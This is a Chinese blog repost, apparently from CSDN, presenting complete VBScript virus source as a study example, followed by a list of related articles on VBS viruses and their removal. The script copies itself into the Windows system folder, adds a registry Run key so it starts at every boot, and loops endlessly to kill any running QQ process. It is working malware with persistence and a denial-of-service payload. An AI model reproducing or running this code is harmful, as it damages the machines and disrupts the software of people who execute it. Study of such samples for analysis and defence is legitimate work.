vbs 病毒学习二 (未测试)

转载 2008年10月01日 19:16:00

'VIRUS CODE STARTS HERE

'-----------------------------------------------------

'容错控制,防止发生异常抛出而导致程序崩溃

On Error Resume Next

'创建文件系统对象

Set fso=CreateObject("Scripting.FileSystemObject")

'获得系统文件夹

Set sysdir=fso.GetSpecialFolder(1)

Set filespec=sysdir&"/hlx0Q.vbs"

'创建Windows脚本壳对象

Set ws=CreateObject("Wscript.Shell")

'将病毒文件拷贝到系统文件夹下并改名

fso.GetFile(WScript.ScriptFullName).Copy(filespec)

'写注册表,设置启动时自动加载项

ws.RegWrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Run/hlx0Q","hlx0Q.vbs"

'获得QQ服务进程,您可以通过按“Ctrl+Alt+Del”查看进程列表,获得进程映像名称

do

    '表示本地主机

    strComputer = "."

    '获得进程名

    strWQL="Select * from Win32_Process Where Name = 'qq.exe'"

    '获得VMI对象

    Set objWMIService = GetObject("winmgmts:" _

    & "{impersonationLevel=impersonate}!//" & strComputer & "/root/cimv2")

    Set colProcessList = objWMIService.ExecQuery(strWQL)

    '在进程列表中枚举目标进程,一旦发现便中断它运行

    For Each objProcess in colProcessList

        objProcess.Terminate()

    Next

loop

'注销对象

Set fso=Nothing

Set sysdir=Nothing

Set ws=Nothing

Set filename=Nothing

Set objWMIService=Nothing

Set objProcess=Nothing

vbs病毒的简单例子源代码解析

vbs病毒的简单例子源代码解析说明:作者对某些代码进行了修改。该文件是一个完整的程序。该文件执行之后,会寻找硬盘上所有满足条件的文件,对其进行强制性覆盖(满足条件的文件数据将全部丢失)、并再创建一个相...
  • u011225629
  • u011225629
  • 2016年10月25日 14:04
  • 2446

Win7环境下彻底清除VBS病毒的教程

说起VBS病毒,可能很多用户并不了解,但说起1kb快捷方式病毒,用户一定有所耳闻,甚至亲身经历,这种1KB快捷方式病毒有一个名称叫:暴风一号。TA可以通过U盘、MP4/MP5之类的可移动存储设备传播的...
  • maoxiaojiemaoxiaojie
  • maoxiaojiemaoxiaojie
  • 2017年06月06日 08:52
  • 602

为什么很多病毒是用vbs写成的

这篇小短文 最初是 2013年9月,随手一写的。 后来网上聊天时,我发现有很多时候我都想表达这个观点。 翻箱倒柜 总算找到了,把它粘贴到网上,想表达时,发个链接会很方便。 正文如下: ===...
  • xia_hu_nao
  • xia_hu_nao
  • 2015年07月09日 11:12
  • 1071

蠕虫病毒Worm: VBS/Jenxcus!lnk 解决方案 Python脚本

表现:U盘里所有根目录文件夹/文件都变成了快捷方式。 传播方式:U盘。多发于打印店等无保护公共设备。 原因:文件夹/文件属性被设为隐藏的系统文件 Win+R //进入cmd E: //进入U盘...
  • karmayh
  • karmayh
  • 2017年04月20日 16:36
  • 588

VBS病毒的解决办法!

最近电脑中了VBS病毒,都被它搞死了,试了多种方法都搞不定!在网上查了多种的方法,终于把它给查杀了,现在把它总结一下与大家分享.Worm.VBS.headtail.a病毒分析Worm.VBS.head...
  • jeffery223
  • jeffery223
  • 2008年09月07日 00:52
  • 2953

Vbs脚本病毒生产机的原理介绍及如何预防和解除

所谓病毒生产机就是指可以直接根据用户的选择产生病毒源代码的软件。在很多人看来这或许不可思议,其实对脚本病毒而言它的实现非常简单。 脚本语言是解释执行的、不需要编译,程序中不需要什么校验和定位,每条语句...
  • qsdnet
  • qsdnet
  • 2006年12月09日 22:26
  • 1089

VBS模拟熊猫烧香病毒

使用过U盘的朋友都知道u盘病毒是一种Autorun自运行病毒,当双击时触发病毒体,会复制自身到C D E和系统盘system32下等盘符,(生成exe文件和一个Autorun.inf文件),同时修改注...
  • gates_hoon
  • gates_hoon
  • 2007年06月15日 22:41
  • 1603

crack.vbs病毒,u盘里的所有文件全部变成快捷方式

如果你确定是vbs病毒的话参看下则处理方案! 第一步:限制wscript.exe进程的运行。“开始——运行”,输入gpedit.msc,然后依次打开“计算机配置——Windows设置——安全设置——...
  • a2459956664
  • a2459956664
  • 2016年01月08日 14:41
  • 6872

VBS脚本病毒原理分析及防范

一、Vbs脚本病毒的特点及发展现状   VBS病毒是用VB Script编写而成,该脚本语言功能非常强大,它们利用Windows系统的开放性特点,通过调用一些现成的Windows对象、组件,可以直接对...
  • menuconfig
  • menuconfig
  • 2007年10月16日 11:27
  • 1079

vbs病毒代码

 vbs病毒代碼2007-07-11 21:26on error resume next set fs=createobject("ing.filesystemobject" 创建一个能与操作系统沟通...
  • hefenghhhh
  • hefenghhhh
  • 2008年10月06日 12:24
  • 3798
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:vbs 病毒学习二 (未测试)
举报原因:
原因补充:

(最多只允许输入30个字)